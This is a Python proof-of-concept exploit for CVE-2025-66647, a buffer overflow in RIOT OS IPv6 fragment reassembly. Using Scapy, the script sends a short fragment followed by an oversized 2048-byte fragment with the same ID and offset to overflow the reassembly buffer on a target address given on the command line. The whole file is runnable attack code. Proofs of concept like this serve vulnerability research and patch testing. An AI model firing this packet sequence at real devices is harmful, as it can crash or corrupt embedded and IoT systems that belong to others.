#!/usr/bin/env python3
"""
CVE-2025-66647 PoC - RIOT OS IPv6 Fragment Reassembly Buffer Overflow
This PoC demonstrates the buffer overflow vulnerability in RIOT OS IPv6 fragment reassembly.
"""
import sys
from scapy.all import IPv6, IPv6ExtHdrFragment, Raw, send
def create_ipv6_fragment(src, dst, frag_id, offset, more_fragments, payload):
"""Create an IPv6 fragment packet"""
pkt = IPv6(src=src, dst=dst) / IPv6ExtHdrFragment(
frag_id=frag_id,
offset=offset,
m=more_fragments
) / Raw(load=payload)
return pkt
def exploit_cve_2025_66647(target_ip, interface=None):
"""
Exploit RIOT OS IPv6 fragment reassembly buffer overflow
Attack strategy:
1. Send a short fragment (offset=0) to force small buffer allocation
2. Send a long fragment (offset=0) to overflow the buffer
"""
frag_id = 0x12345678
# Step 1: Send a short fragment with offset=0 to create small reassembly buffer
short_payload = b'A' * 64 # Small payload to force small buffer
pkt1 = create_ipv6_fragment(
src="2001:db8::1",
dst=target_ip,
frag_id=frag_id,
offset=0,
more_fragments=1,
payload=short_payload
)
print(f"[*] Sending short fragment (offset=0, length={len(short_payload)})")
send(pkt1, iface=interface, verbose=0)
# Step 2: Send a long fragment with offset=0 to overflow the buffer
long_payload = b'B' * 2048 # Large payload to overflow the buffer
pkt2 = create_ipv6_fragment(
src="2001:db8::1",
dst=target_ip,
frag_id=frag_id,
offset=0,
more_fragments=0,
payload=long_payload
)
print(f"[*] Sending long fragment (offset=0, length={len(long_payload)}) to trigger overflow")
send(pkt2, iface=interface, verbose=0)
print("[+] Exploit sent. If vulnerable, this should cause buffer overflow and memory corruption.")
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_ipv6> [interface]")
print(f"Example: {sys.argv[0]} fe80::1 eth0")
sys.exit(1)
target = sys.argv[1]
iface = sys.argv[2] if len(sys.argv) > 2 else None
exploit_cve_2025_66647(target, iface)